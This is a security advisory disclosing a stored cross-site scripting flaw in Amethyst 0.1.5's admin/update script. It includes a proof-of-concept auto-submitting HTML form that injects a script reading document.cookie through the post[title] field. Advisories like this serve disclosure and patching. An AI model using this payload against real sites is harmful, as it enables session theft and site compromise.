Vulnerability ID: HTB22502
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_2.html
Product: Amethyst
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )
Vulnerable Version: 0.1.5 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/update script to properly sanitize user-supplied input in "post[title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/update/2" method="post" name="main" >

<input type="hidden" name="post[title]" value='title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="post[content]" value="this is my post" />
<input type="hidden" name="post[created_at(1i)]" value="2010" />
<input type="hidden" name="post[created_at(2i)]" value="7" />
<input type="hidden" name="post[created_at(3i)]" value="15" />
<input type="hidden" name="post[created_at(4i)]" value="20" />
<input type="hidden" name="post[created_at(5i)]" value="39" />
<input type="hidden" name="post[updated_at(1i)]" value="2010" />
<input type="hidden" name="post[updated_at(2i)]" value="7" />
<input type="hidden" name="post[updated_at(3i)]" value="15" />
<input type="hidden" name="post[updated_at(4i)]" value="20" />
<input type="hidden" name="post[updated_at(5i)]" value="39" />
<input type="hidden" name="commit" value="Create" />

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version